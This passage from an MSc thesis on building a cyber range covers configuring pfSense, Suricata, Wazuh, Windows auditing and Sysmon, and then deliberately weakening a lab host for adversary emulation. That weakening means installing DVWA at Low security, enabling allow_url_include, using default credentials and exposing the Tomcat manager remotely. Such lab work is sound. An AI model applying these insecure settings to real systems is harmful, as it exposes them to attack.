reboot (Figure 61).

Network Interfaces

Hardware Checksum ¥ Disable hardware checksum offload

Offloading  Checking this option will disable hardware checksum offloading
Checksum offloading is broken in some hardware, particularly some Realtek cards. Rarely, drivers may have problems with checksum offloading and
some specific NICs. This will take effect after a machine reboot or re-configure of each interface.

Figure 61: PfSense-Suricata Configuration 1

Next, within the interfaces menu, in the case of this environment, the Server interface will be
monitored since it is the only route towards the internal servers (Figure 62).
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General Settings

¥ Checking this box enables Suricata inspection on the interface.

SERVERS (vtnet3) v

Choose which interface this Suricata instance applies to. In most cases, you will want to choose LAN here if this is the first Suricata-configured
interface.

SERVERS

Enter a meaningful description here for your reference. The default is the pfSense interface friendly description.
Logging Settings

Send Alerts to System B Suricata will send Alerts from this interface to the firewall's system log

Log  NOTE: the FreeBSD syslog daemon will automatically truncate exported messages to 480 bytes max
Enable Stats Collection W Suricata will periodically gather performance statistics for this interface. Default is Not Checked.

Enable HTTP Log ¥ Suricata will log decoded HTTP traffic for the interface. Default is Checked.

TP Lo i e

Select "Regular” to log to a conventional file, or choose UNIX "Datagram” or "Stream” Socket to log to an existing UNIX socket. Default is "Regular”

Append HTTP Log ¥ Suricata will append-to instead of clearing HTTP log file when restarting. Default is Checked.

Figure 62: PfSense-Suricata Configuration 2

From this menu, in the EVE Output Settings section, EVE JSON Log should be enabled with type
FILE at PRINTABLE data format. This will allow the log file to be able to be parsed by Wazuh [26]
later (Figure 63).

EVE Output Settings
EVEJSONLog W Suricata will output selected info in JSON format to a single file or to syslog. Default is Not Checked

Ve gt Tpe

Select EVE log output destin Choosing FILE is suggested and is the default value. "Redis” is used for output to a s server, and the UNIX
Socket options output to a user-created socket.

EVE HTTP XFF Suppert W Log X-Forwarded-For IP addresses. Default is Not Checked.
EVE Ethernet MAC W Log Ethernet header in events when available. Default is Not Checked.

EVE Log Alerts ¥ Suricata will output Alerts via EVE

EVE Log Alert Payload PRINTABLE b

DataFormats | . the payload data with slerts. Options are No (disable payload logging), Only Printable (lossy) format, Only Base64 encoded or Both. See Suricata

documentatio
EVE Log Alert details ¥ Log a packet dump # Log additional HTTP # Include App Layer W Log final action taken og packets for rules
with alerts. data metadata. on packet by the g the “tag"

engine keyword

EVELogDrops @ Suricata will output Drops via EVE

v

EVE Log Drops Options ¥ Log alerts that caused drops. Default B Log final action taken on packet by
“Checked" the engine *Start’ logs only a single drop per flow
direction. "All" logs each dropped pkt

EVE Log Anomalies W Suricata will log packet anomalies such as truncated packets, packets with invalid Il fTCP length values and other events that render the
packet invalid for further processing. Networks with high rates of anomalies may ex; e packet processing degradation

EVE Logged Traffic B BitTorrent & DNS ¥ FTP ¥ HTTP ¥ HTTP2 ¥ IKE ¥ Kerberos @& NFS ¥ PostgreSQL

¥ qQuicvl ¥ RDP ¥ RFB | siP sMmB ¥ SMTP ¥ TFTP

Figure 63: PfSense-Suricata Configuration 3

Further down, the Logged Traffic can be customized depending on the type of expected traffic on
the specific network.

In most cases, firewalls are not directly exposed to the WAN, they are usually routed via a CPE
ISP Router. That causes the firewall not to automatically detect which is the external network and
the internal networks, or in more simple terms Untrusted and Trusted networks. This is why after
applying the Suricata [56] interface configuration, it is required to create a pass list with all the
trusted networks and a pass list with all the untrusted ones (Figure 64).
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Services

Configured Pass Lists
List Name Assigned Description

passlist_homenets Yes

Figure 64: PfSense-Suricata-Pass Lists

Once both passlists are created, revisit the interface configuration and in the Networks that
Suricata [56]Should Inspect and Protect section, specify the correct pass lists (Figure 65:).

Networks Suricata Should Inspect and Protect
passlist_homenets B View List
Choose the Home Net you want this interface to use.

Default Home Net adds only local networks, WAN IPs, Gateways, VPNs and VIPs.

Create an Alias to hold a list of friendly IPs that the firewall cannot see or to customize the default Home Net
_externalnetworks B Viewtint

Choose the External Net you want this interface to use.

External Net is networks that are not Home Net. Most users should leave this setting at default.
Create a Pass List and add an Alias to it, and then assign the Pass List here for custom External Net settings.

Figure 65: PfSense-Suricata Pass Lists Configuration

Suricata [56] Global Settings now allows the IDS to be populated with rules. For this environment,
the Community rules from ETOpen and Snort are more than adequate, and they can demonstrate
the IDS detection capabilities while also providing actual protection from existing threats (Figure
66).

Services

Please Choose The Type Of Rules You Wish To Download

Install ETOpen Emerging () ETOpen is a free open source set of Suricata rules whose coverageis [l Use a custom URL for ETOpen downloads
Threats rules more limited than ETPro.

Enabling the custom URL option will force the use of a custom user-supplied URL when downloading ETOpen rules.

W ETPro for Suricata offers daily updates and extensive coverage of @ Use a custom URL for ETPro rule downloads

current malware threats.

The ETPro rules contain all of the ETOpen rules, so the ETOpen rules are not required and are disabled when the ETPro rules are selected
Enabling the custom URL option will force the use of a custom user-supplied URL when downloading ETPro rules.

W Snort free Registered User or paid Subscriber rules W Use a custom URL for Snort rule downloads

Enabling the custom URL option will force the use of a custom user-supplied URL when downloading Snort Subscriber rules.

Install Snort GPLY2 ¥ The Snort Community Ruleset is a GPLV2 Talos-certified ruleset that W Use a custom URL for Snort GPLV2 rule downloads
Community rules is distributed free of charge without any Snort Subscriber License
restrictions.

Figure 66: PfSense-Suricata Configuration 4

Once rules are enabled, they can be downloaded from the Updates menu (Figure 67)
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Services

INSTALLED RULE SET MDS5 SIGNATURES

Rule Set Name/Publisher MDS Signature Hash MDS5 Signature Date

Emerging Threats Open Rules e475a83a6c48465d3612c32eda%bac32 Thursday, 25-Jul-24 12:42:26 UTC
Snort Subscriber Rules Not Enabled Not Enabled

Snort GPLv2 Community Rules b8744786ee1a74ba97c5f81491461ch Thursday, 25-Jul-24 12:42:26 UTC
Feodo Tracker Botnet C2 IP Rules Not Enabled Not Enabled

ABUSE.ch SSL Blacklist Rules Not Enabled Not Enabled
UPDATE YOUR RULE SET

Last Update: Jul-25 2024 12:42
Result: success

Figure 67: PfSense-Suricata Configuration-Rule Sets

Next, within the interface menu, under the SERVE Categories tab, there is a list of rule categories
that can be enabled for the interface. It is recommended to disable everything on the left column
and enable the ones useful in the right column, so that logs for events are not sent at all. In this
case, webserver, exploit, remote access are just some of the categories selected (Figure 68).

Automatic flowbit resolution

Resolve Flowbits ¥ Auto-enable rules required for checked flowbits

Default is Checked. Suricata will examine the enabled rules in your chosen rule categories for checked flowbits. Any rules that set these dependent
flowbits will be automatically enabled and added to the list of files in the interface rules directory.

@ view

Click to view auto-enabled rules required to satisfy flowbit dependencies

Autoenabled rules generating unwanted alerts should have their GID:SID added to the Suppression List for the interface.
Select the rulesets (Categories) Suricata will load at startup

- Category is auto-enabled by SID Mgt conf files
Category is auto-disabled by SID Mgmt conf files

Ruleset

Figure 68: PfSense-Suricata Configuration 4

Apart from the IDS functionality, the Firewall has its own rules that can generate logs regarding
Blocking Traffic, sockets and rates which can help a lot in the monitoring process.

Within pfSense Firewall — Rules menu, inside each created rule, the logging packets entry should
be enabled (Figure 69).
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Firewall

Rules (Drag to Change Order)
States Protocol Source Port Destination Gateway Queue Schedule Description

IPvATCP  192.168.30.16 * 192.168.5.0/24 * none Allow Response WZ

IPvATCP  192.168.5.0/24 * 192.168.30.16 * none Allow Servers to WZ

192.168.5.0/24 192.168.4.0/24 Allow Servers to IT
192.168.4.0/24 192.168.5.0/24 Allow IT to Servers
192.168.5.0/24 192.168.2.0/24 Allow Servers to LAN
192.168.5.3 192.168.3.3/24 Allow DB to EMR

192.168.3.3 192.168.5.3/24 Allow EMR to DB

1Pv4 * 192.168.5.0/24 \ Allow Servers to Internet

IPvATCP  * 192.168.1.101 Drop Pve Mgmt from Servers

IPv4TCP * This Firewall (self) 443 (HTTPS) Drop FW Mgmt from Servers

Figure 69: PfSense Rules Menu

Then in the Status — System Logs — Settings menu the Log packets matched from the default
block rules in the ruleset is checked and change log message format to syslog (Figure 70).

wjsense

COMMUNITY EDITION

Status

General Logging Options

The format of syslog messages written to disk locally and sent to remote syslog servers (if enabled)
Changing this value will only affect new log messages

Forward/Reverse Display B Show log entries in reverse order (newest entries on top)

GUI Log Entries 500

This is only the number of log entries displayed in the GUL. It does not affect how many entries are contained in the actual log files.

Log firewall default ¥ Log packets matched from the default block rules in the ruleset
blocks

Log packets that are blocked by the implicit default block rule. - Per-rule logging options are still respected.

B Log packets matched from the default pass rules put in the ruleset

Log packets that are allowed by the implicit default pass rule. - Per-rule logging options are still respected

¥ Log packets blocked by ‘Block Bogon Networks' rules

¥ Log packets blocked by ‘Block Private Networks' rules

# Log errors from the web server process

If this is checked, errors from the web server process for the GUI or Captive Portal will appear in the main system log.

Figure 70: Pfsense System Logs Settings

Then to enable remote logging, scroll further down and check the Enable remote logging and
check the Firewall Events followed by whatever else is needed depending on the use case (Figure
71).
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Remote Logging Options

Enable Remote Logging

Source Address

Remote log servers

Remote Syslog Contents

¥ Send log messages to remote syslog server

Default (any) v

This option will allow the logging daemon to bind to a single IP address, rather than all IP addresses. If a single IP is picked, remote syslog servers
must all be of that IP type. To mix IPv4 and IPv6 remote syslog servers, bind to all interfaces.

NOTE: If an IP address cannot be located on the chosen interface, the daemon will bind to all addresses

This option is only used when a non-default address is chosen as the source above. This option only expresses a preference; If an IP address of the
selected type is not found on the chosen interface, the other type will be tried

W Everything

B System Events

# Firewall Events

B DNS Events (Resolver/unbound, Forwarder/dnsmasaq, filterdns)
B DHCP Events (DHCP Daemon, DHCP Relay, DHCP Client)

W PPP Events (PPPoE WAN Client, L2ZTP WAN Client, PPTP WAN Client)
¥ General Authentication Events

W Captive Portal Events

W VPN Events (IPsec, OpenVPN, L2TP, PPPoE Server)

W Gateway Monitor Events

# Routing Daemon Events (RADVD, UPnP, RIP, OSPF, BGP)

B Network Time Protocol Events (NTP Daemon, NTP Client)

W Wireless Events (hostapd)

Syslog sends UDP datagrams to port 514 on the specified remote syslog server, unless another port is specified. Be sure to set syslogd on the rerote
server to accept syslog messages from pfSense.

Figure 71: PfSense Remote Logging Options

Now the firewall logs are sent via syslog to the log collector.

Note that syslog is generally used only within the same local network due to security concerns.
In this case, it is sent over to the WAN which is not normally the case.

To get the Suricata [56] logs across to the log collector machine, SSH needs to be set up with
public key authentication. To do that first enable SSH from the System — Advanced menu and
then within System — User Manager selecting the appropriate user and add the authorized
public key in there (Figure 72).
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Remote Logging Options
Enable Remote Logging ¥ Send log messages to remote syslog server

A A

This option will allow the logging daemon to bind to a single IP address, rather than all IP addresses. If a single IP is picked, remote syslog servers
must all be of that IP type. To mix IPv4 and IPv6 remote syslog servers, bind to all interfaces.

NOTE: If an IP address cannot be located on the chosen interface, the daemon will bind to all addresses.

This option is only used when a non-default address is chosen as the source above. This option only expresses a preference; If an IP address of the
selected type is not found on the chosen interface, the other type will be tried

Rarmcatogsrvrs RSN . T

Remote Syslog Contents W Everything
W System Events
¥ Firewall Events
B DNS Events (Resolver/unbound, Forwarder/dnsmas, filterdns)
B DHCP Events (DHCP Daemon, DHCP Relay, DHCP Client)
W PPP Events (PPPoE WAN Client, LZTP WAN Client, PPTP WAN Client)
¥ General Authentication Events
W Captive Portal Events
B VPN Events (IPsec, OpenVPN, L2TF, PPPoE Server)
B Gateway Monitor Events
¥ Routing Daemon Events (RADVD, UPnP, RIP, OSPF, BGP)
W Network Time Protocol Events (NTP Daemon, NTP Client)
B Wireless Events (hostapd)

Syslog sends UDP datagrams to port 514 on the specified remote syslog server, unless another port is specified. Be sure to set syslogd on the rérote
server to accept syslog messages from pfSense

Figure 72: PfSense Remote Logging 2

Log Collector Machine Logs Transfer Configuration

The first step is to Install rsync on log collector and then set the cron job to pull the eve.json log
file
and enable cronjob for rsync (Figure 73:).

Figure 73: LogCollector Wazuh Agent Deployment

Note: Just for reference, the command run every 3 minutes is the following:
rsync -Pritvcz --append-verify -e "ssh -i /root/.ssh/id_ed25519"
admin@192.168.30.20:/var/log/suricata/suricata_vtnet322461/eve.json
/home/systemadmin/eve.json

After setting the cron job, the wazuh-agent needs to be configured to include this file for report
and upload to the Wazuh server. To do that the agent configuration must change by adding its
absolute path like so: (Figure 74).
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<l-- Log analysis ——>
<localfile>
<log_format>json</log_format>
<location>/home/systemadmin/eve.json</location>
</localfile>

<localfile>
<log_format>command</log_format>
<command>df -P</command>
<frequency>360</frequency>
</localfile>

Figure 74: PfSense

Now, Alpine [55] Linux needs to be verified so that it listens to syslog messages. So rsyslog
package needs to be installed (apk add rsyslog) and edit its configuration file, basically
uncommenting the following lines to enable remote log listening (Figure 75: LogCollector Syslog
Server Configuration).

# needs to be done just once

type="imudp"
port="514"

Figure 75: LogCollector Syslog Server Configuration

Next, rsyslog service must be started and enabled to start upon boot by issuing the following
commands (Figure 76:):

/home/systemadmin # rc-update add rsyslog boot

service rsyslog added to runlevel boot
/home/systemadmin # /etc/init.d/rsyslog start

Figure 76: LogCollector Syslog Server Start

Verifying that logs are getting in the log collector machine can be done by checking the
Ivar/log/messages file.

Note: It is advised to also install “logrotate” package which helps compressing the logs and
manages them, so the log collector machine does run out of space

After all the configuration, the logging is ready, and all are sent to Wazuh. In case that some
machine was sending logs to Wazuh using syslog directly a change into Wazuh server would be
required by adding a snippet inside the ossec.conf configuration file like the following (Figure 77).

<remote>
<connection>syslog</connection>
<port>514</port>
<protocol>tcp</protocol>
<allowed-ips>192.168.2.15/24</allowed-ips>
<local_ip>192.168.2.10</local_ip>
</remote>

Figure 77: Wazuh Agent Configuration

Enhancing Monitoring on Windows Machines- Audit Policy Enhancements

Installing an agent within a Windows [46] machine provides many logs, but they can be enriched
by some additional configurations that add more monitoring and securing the machines even
further.
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Changing the Audit-Policy is one step that strengthens the security of the whole domain. The
Stronger Recommendations of Microsoft for rich logging from their Audit Policy
Recommendations page suggest enabling logs for various categories and events that can be
done from the Group Policy Management Utility in the Windows Active Directory [37] Machine

and in every Windows 10 [46] Machine if it is not a member of the domain (Figure 78 and Figure
79).

—e } Group Policy Menageriient Editor - o x
File Action View Help
| nmHEm

a R’ & Restricted Groups N ) |
& Fle Action View Windo a :ymm Services 0 Advanced Audit Policy Configuration
Py == 4 Registry - w  Help
e 2amXclH & File System
- Expand the Advanced Audit Policy Configuration node to configure Granular Audit
& Group Policy Management f4f Wired Network (IEEE 802.3) ol
v A\ Forest: cyberung ] Windows Defender Firewall L
v (3 Domains Network List Manager Polic L
v #3 cybermg i Wireless Network (IEEE 802,
4/ Default Domain ) Public Key Policies v
v 2] Domain Contro Software Restriction Policie
.| Default Do Application Control Policie
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Figure 78: Windows Audit Policy Configuration

A Restricted Groups ~
A System Services
'3 Registry
File Syst A h - . '
3? \v\ln'iere:Neetmwark (IEEE 802.3) :w Aud!t .Q‘uth?rlzatlan Policy (‘Ihange Not Cnnf‘lgured
= o9 Audit Filtering Platform Policy Change Not Configured

Subcategory Audit Events
3 Audit Audit Policy Change Success and Failure
=] Audit Authentication Policy Change Not Configured

[ ] Windows Defender Firewall A ) d )
| Network List Manager Polic Io: Audit MPSSVC Rule-Level Policy Change Not Configured
Zafl Wireless Network (EEE 802, o Audit Other Policy Change Events Not Configured
| Public Key Policies
| Software Restriction Policie
| Application Control Policie
‘g IP Security Policies on Activ
v || Advanced Audit Policy Cor
v & Audit Policies
5 Account Logen
A Account Managem
5 Detailed Tracking
35 DS Access
jﬂ Logon/Logoff
:é Object Access
3 Policy Change N

Figure 79: Windows Audit Policy Configuration 2

The recommended audit policies to be changed are in the following categories:
- Account Logon,
- Account Management,

- Detailed Tracking,
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- Directory Services Access,
- Policy Changes,
- Global Object Access Auditing

Group Policy Management Editor

File Action View Help

- ) 17}
Default Domain Controllers Policy [DC1.DOMAIN1.TEST.LOCAL] Policy Subcategory Audit Events
4 & Computer Configuration Audit Application Group Management Not Configured
“ Policies Audit Computer Account Management Not Configured
Software Settings Audit Distribution Group Management Not Configured
- Windows Setting: Audit Other Account Management Events Not Configured
olution Polic [ Audit securty Group Management Not Configured
artup/Shutdown Audit User Account Management Not Configured
4 Settings
<ccount Policies Audit Security Group Management Properties .
Local Policies
b @ Eventlog Polcy | Bxplan
4 Restricted Groups
j System Services | Audt Securty Group Management
3 R

work (IEEE 802.3) Policies

/ Corfigure the folowng audt everts

Firewall witl ced Security

Network List Manager Policies

¥ Success
b i Wireless Network (IEEE 802.11) Policies
Public Key Policies ) Fakre
Software Restriction Policies
Network A Protection

Application Control Policies
[ ! 1P Security Policies on Active Directory (DOMAIN1.TEST.LOCA
4 () Advanced Audit Policy Configuration

Global Object Access Auditing

b ol Policy-based QoS oK Concel Aoy
& ) Administrative Temolates: Policy definitions (ADMX files) retrieved fr¢
w

Figure 80: Windows Audit Policy Configuration-Security Group Management

Sysmon Enhancements

Installing sysmon on all windows machines, including the Active Directory [37] Virtual Machine,
is very simple and needs a configuration which in this case can be a community one like
sysmon-modular (filedelete.xml) that can be downloaded from github (Figure 81 and Figure 82).

Users\Administrator\Downloads> .\Sysmon64.exe

System Monitor v15.15 - System activity monitor

Figure 82: Sysmon Configuration

Next it is needed to update the configuration of the Wazuh [26] agent to upload Sysmon log to
Wazuh server, by editing the agent configuration file (Figure 83):
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. () « Local Disk (C:) » Program Files (x86) ossec-agent » v g Search ec-agent

| ossec.conf - Notepad

File Edit Format View Help

<localfile>
<location>Security</location>
<log_format>eventchannel</log_format>
<query>Event/System[EventID !|= 5145 and EventID l= 5156 and EventID != 5447 and
EventID != 4656 and EventID != 4658 and EventID != 4663 and EventID != 4666 and
EventID l= 4670 and EventID != 4690 and EwventID != 4763 and EwventID != 4567 and
EventID l= 5152 and EwventID != 5157]</query>
</localfile>

<localfile>
<location>Microsoft-wWindows -Sysmon/Operational</location?
<log_format>eventchannel</log format>

</localfile>

<localfile>
<location>System</location>
<log_format>eventchannel</log_format>
</localfile>

<localfile>
<location>active-response\active-responses.log</location>
<log_format>»syslog</log_format>

</localfile>

Figure 83: Windows Wazuh Agent Configuration File

This is done by adding a local file xml tag that describes the log file name. After configuring the
log file, Wazuh [26] needs to have a specific ruleset on which he can differentiate the logs. The
ruleset is applied on the wazuh-manager component by editing the local_rules.xml file and then
Wazuh [26] manager needs to be restarted to load the new configuration (Figure 84).

/var/ossec/etc/rules/local_rules.xml

GNU nano 7.2
<l-- Local rules -->

dify it at your will. -—>
ight (C P15 uh Inc. -->

ple ——>

2 host sshd[1234]: Failed none for root from 1.1.1.1 port 1066

5716
1.1.1.1

sshd: authentication failed from IP 1.1.1.1.
authentication_failed,pci_dss_10.2.4 pci_dss_10.2.5,

sysmon_eventl

\\powershell.exe||\\.ps1]||\\.ps2
Sysmon - Event 1: Bad exe: $(sysmon.image)
sysmon_eventl, powershell_execution,

Figure 84: Windows Wazuh Agent Configuration File 2
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5.2.3 Logs Monitoring Validation

Since all nodes are configured and all the information is sent to Wazuh [26], Wazuh [26] can
cross reference every piece of data and check it against known vulnerabilities and attack paths
(Figure 85).

= W MITRE ATT&CK a) ©

Dashboard  Inteligence  Framework  Events i) Explore agent [ Gene

Alerts svolution over time < Top ctics

Attacks by technique < Top tctics by agent < Mitra technigues by sgent

Figure 85: Wazuh Dashboard

5.3 Test Case: Attack Surface increase and Testing with
BAS Solutions (Adversary Emulation)

To further establish that the created environment can really benefit the researchers, it is necessary
to introduce threats and observe how the monitoring system will detect the attacks or not.

5.3.1 Attack Surface Increase

To emulate malicious behavior, it is needed to add known vulnerabilities in the environment and
create a feasible attack path. It is possible to Install XAMPP suite directly on a Windows [46] Host.
The XAMPP package is basically a collection of software (Apache [58], MariaDB [43], PHP [59]
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and Perl [60]) that can be deployed as one bundle to enable Web Hosting very quickly (Figure
86).

& Setup - § X

Welcome to XAMPP!

XAMPP is an easy to install Apache distribution
containing MySQL, PHP and Perl

Installing
Unpacking files

2 T [ cne
Figure 86: XAMPP Installation

The installer can be downloaded from https://www.apachefriends.org/ and the installation process
is the same as any other windows program. After installation, XAMPP control panel can be
launched that allows starting the related services (Figure 87).

&
XAMPP Control Panel v3.3.0
Modules
Service  Module PID(s) Port(s) Actions & Netstat
e Apache Start Admin Config Logs B shel
b4 MySQL Start Admin Config Logs Explorer
x FileZilla Start Admin Config Logs ¥ Services
Mercury Start Admin Config Logs & Help
x Tomcat Start Admin Config Logs i Quit
| [main] Control Panel Version: 3.3.0 [ Compiled: Apr 6th 2021 ] ~
| [main] Running with Administrator rights - good!
| [main] XAMPP Installation Directory: “c:\xampp\”
| [main] Checking for prerequisites
| [main] All prerequisites found
1 [main] Initializing Modules
f PM [main] Starting Check-Timer
f PM [main] Control Panel Ready
| .

Figure 87: XAMPP Control Panel

After installation, Apache [58] and MySQL [61] has to be started so hosting of the root path is
reachable to the network. Now for the vulnerable application, DVWA (Damn Vulnerable Web
Application) can be downloaded from the Github repository. The downloaded repository files must

Cyber Range Development: Configuration of
the Cyber Range Environment Network and Monitoring Tools

65


https://www.apachefriends.org/

«Msc Thesis» Nikitas Makris

be decompressed and copied over to the root path of the Apache service which is (by default)
under C:/xampp/htdocs/ (Figure 88).

& < | htdocs
— v 4 > ThisPC > Local Disk (C:) » xampp > htdocs

Name

s Quick access

dashboard
I Deskto
» DVWA
‘ Downloads
img
=) Documents webalizer
&=/ Pictures 4 xampp
D Music @ applications
l Videos %) bitnami
[E) favicon
@ OneDrive | index.php

Figure 88: XAMPP Configuration Directory

To test that the application is loaded the corresponding path can be visited using the browser
under localhost (Figure 89).

<« O ocalhost
B pfSensecybermg - O OpenEMR

DVWA System error - config file not found. Copy config config.inc. php dist to config/config inc php and configure to your environment

Figure 89: DVWA System Error Page

If the above message appears, it means that the php configuration is not found. To correct this
the config.inc.php.dist file under the config sub-directory needs to be renamed to config.inc.php.
After that reloading the web page will show a different error (Figure 90).

< C (@© localhost/DVWA/login.php A iy mph o= 4

B pfSensecybermg-.. (O OpenEMR

Fatal error: Uncaught mysqli_sql_exception: Access denied for user 'dvwa'@'localhost’ (using password: YES) in C:'xampp'htdocs\ DVWA\dvwalincludes'dvwaPage.inc php:557 Stack trace: 20
C:\xampp htdocs\ DVWAdvwaincludes'\dvaPage.inc.php(557): mysqli_connect('127.0.0.1', 'dvwa', Object(SensitiveParameterValue), ", '3306') #1 C:\xampp'htdocs\DVWA \login.php(8):
dvwaDatabaseConnect() #2 {main} thrown ##i C:\xampp\htdocs\DVWA\dvwa'includes\dvwaPage.inc.php on line 557

Figure 90: DVWA Login Page Error

This error means that the database is not yet configured. To configure it, using the XAMPP control
panel, enter inside the configuration of MySQL service using the Admin button, which will open
the phpMyAdmin web page. There a new database must be created named DVWA and a new
user with its password that has all the privileges within the dvwa database (Figure 91).

< @] (@ localhost/phpmyadmin/index.php?route=/server/privileges&db=dvwa&checkp db=dvwa&viewing_mode=d

I pfSense.cybermg-.. (O OpenEMR

php

oo 5e ¥ Structure L] SQL v Search Query =} Export |«d Import 4 Operations =° Privileges

Recent Favorites < " "
& Users having access to "dvwa

- @
= & New User name Host name Type Privileges Grant Action

TA dvwa ] dvwa % database-specific ALL PRIVILEGES No & Edit privileges =} Export
T7 LT ] root 127.0.0.1  global ALL PRIVILEGES Yes £y Edit privileges —} Export
il O root 1 global ALL PRIVILEGES Yes @ Edit privileges (=) Export
‘+f performance_schema - B i .' = =
#r 1 phpmyadmin (] root localhost  global ALL PRIVILEGES Yes @ Edit privileges ] Export

- test

Figure 91: PhpMyAdmin WebUI
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Once those are done, refreshing the previous web page of DVWA will load normally (Figure 92).

localhost/DVWA/log

/ber.mg -.. ) OpenEMR

D\WA)

Username
% Password
| Login |

Figure 92: DVWA Login Page

The first time requires login without credentials, and it will show the first wizard set up. Other than
this the admin user can login with password “password”

Within the setup wizard, some warnings will be flagged that can be corrected by editing the php
configuration of Apache [58]. To edit that from XAMPP Control Center, edit the php.ini file shown
under the config button of the Apache line.

Inside the configuration, find the allow_url_include key and change it to in the php.ini file (Figure
93).

333333333333333)

; Whether to allow HTTP file uploads.
; https://php.net/file-uploads
file_uploads=0n

; Temporary directory for HTTP uploaded files (will use system default if not
; specified).

; https://php.net/upload-tmp-dir

upload_tmp_dir="C:\xampp\tmp"

; Maximum allowed size for uploaded files.
; https://php.net/upload-max-filesize
upload_max_filesize=48M

; Maximum number of files that can be uploaded via a single request
max_file_uploads=20

333NN
; Fopen wrappers ;

33333333333333333)

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; https://php.net/allow-url-fopen
allow_url_fopen=0n

; Whether to allow include/require to open URLs (like https:// or ftp://) as file
; https://php.net/allow-url-include

allow_url_include=0n

<

N
Figure 93: XAMPP Php.ini Configuration File
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And enable the gd extension by uncommenting the following line (that by default has a
semicolon in front of it) (Figure 94)

3 WNEN LNE EXLENSLIUN Liurdl’y LW 1udu 4> UL 1utdieEu L1 LI ueTdull eExLensaun
|3 directory, You may specify an absolute path to the library file:

;  extension=/path/to/extension/mysqli.so

; Note : The syntax used in previous PHP versions ('extension=<ext>.so' and
; 'extension="php_<ext».dll") is supported for legacy reasons and may be

| ; deprecated in a future PHP major version. So, when it is possible, please
|; move to the new ('extension=<ext») syntax.

|; Notes for Windows environments :

|5 - Many DLL files are located in the ext/
|5 extension folders as well as the separate PECL DLL download.
|3 Be sure to appropriately set the extension_dir directive.

»
extension=bz2

; The ldap extension must be before curl if OpenSSL 1.0.2 and OpenlDAP is used
; otherwise it results in segfault when unloading after using SASL.

; See https://github.com/php/php-src/issues/8620 for more info.
;extension=1ldap

extension=curl
;extension=ffi
;extension=ftp
extension=fileinfo
extension=gd

<

Figure 94: XAMPP Php.ini Configuration File

After these changes, stop and start again Apache [58], visit the setup.php endpoint of the page
to verify that those alerts are now gone (Figure 95).

(@ localhost/DVWA/setup.php
ermg-.. O OpenEMR

Database Setup

Click on the 'Create / Reset Database' button below to create or reset your database
If you get an error make sure you have the correct user credentials in:
C? pp\htdocs\DVWAI\config\config.inc.php

If the database already exists, it will be cleared and the data will be reset

You can also use this to reset the i credentials ("admin / p d") at any stage
Command Injection
CRE ] setup Check

Web Server SERVER_NAME: localhost

SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass |

Operating system: Windows

PHP version: 8.2.12

PHP function display_errors: Enabled

PHP function display_startup_errors: Enabled

PHP function allow_url_include: Enabled

PHP function allow_url_fopen: Enabled

PHP module gd: Installed

PHP module mysql: Installed h
PHP module pdo_mysql: Installed

Backend database: My SQL/MariaDB
Database username: dvwa
Datab password: ******

» |

Database database: dvwa

Authorisation Bypass
Open HTTP Redirect
DVWA Security

PHP Info

About |

Datab host: 127.0.0.1
Database port: 3306

reCAPTCHA key: Missing

Writable folder C: pp\htdocs\DVWA\hack ploads\: Yes
Writable folder C:\xampp\htdocs\DVWA\config: Yes

Status in red, indicate there will be an issue when trying to complete some modules.

If you see disabled on either allow_uri_fopen or allow_uri_include, set the following in your php.ini
Anarha

Figure 95: DVWA Database Setup
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From the same page, go to the side menu DVWA Security and change the Security Level of the
application to Low, so the application can be penetrated more easily. (This depends on the
monitoring target). (Figure 96)

localhost/DVW

S o

 OpenEMR

N

Home
Instructions

Setup / Reset DB

Brute Force
Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA

Nikitas Makris

DVWA Security

Security Level
Security level is currently: impossible

You can set the security level to low, medium, high or impossible. The security level changes the vulner:
level of DVWA:

1. Low - This security level is completely vuinerable and has no security measures at all. It's use |
as an example of how web application vulnerabilities manifest through bad coding practices and !
as a platform to teach or leam basic exploitation techniques.

2. Medium - This setting is mainly to give an example to the user of bad security practices, where
developer has tried but failed to secure an application. It also acts as a challenge to users to refir
exploitation techniques

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative

SQL Injecti |
SQL Injection (Blind) |

to attempt to secure the code. The vulnerability may not allow the same extent of the
explollahon similar in various Capture The Flags (CTFs) competitions
ible - This level should be secure against all vulnerabilities. It is used to compare the vt

Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

CSP Bypass
JavaScript

Authorisation Bypass

Open HTTP Redirect
IENRE

source code to the secure source code
Prior to DVWA v1.9, this level was known as ‘high’

Low v|| Submit

Figure 96: DVWA Security Level

Note: For this adversary emulation test, a temporary firewall rule is created on the firewall that
will allow traffic from the WAN to the XAMPP host.

Next, to confirm that the XAMPP server page is reachable remotely, another windows host can
be used to access it remotely, replacing localhost with the local IP address of XAMPP server
(Figure 97).

C A

Not secure

192.168.4.2/DVWA/index.php

m = @ B

D\WR)

Instructions J

Setup / Reset DB |

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. lts main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of
difficultly, with a simple straightforward interface

General Instructions

It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There
is not a fixed object to complete a module; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability

Please note, there are both documented and undocumented vulnerabilities with this software. This is
intentional. You are encouraged to try and discover as many issues as possible

Figure 97: DVWA Main Page
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Now that some threat actors are enabled, database injections and cross-site scripting attacks
could be started, but there are also attacks exploiting tomcat.

For reference, Apache Tomcat [62] is an open-source web server that is used for hosting Java-
based applications.

Tomcat needs Java Runtime Environment (JRE) [63] to run. After JRE installation, remote
manager login needs to be enabled for more exploitable surface. To enable that the context.xml
file needs to change under the C:/xampp/tomcat/webapps/manager/META-INF/ directory. The
change is about commenting out two lines like the following (Figure 98).

<Context antiKesourcelLocking="talse” privileged="true" >
<CookieProcessor className="org.apache.tomcat.util.http.Rfc6265CookieProcessor”
sameSiteCookies="strict" />
<l--
<Valve className="org.apache.catalina.valves.RemoteAddrValve”
allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />
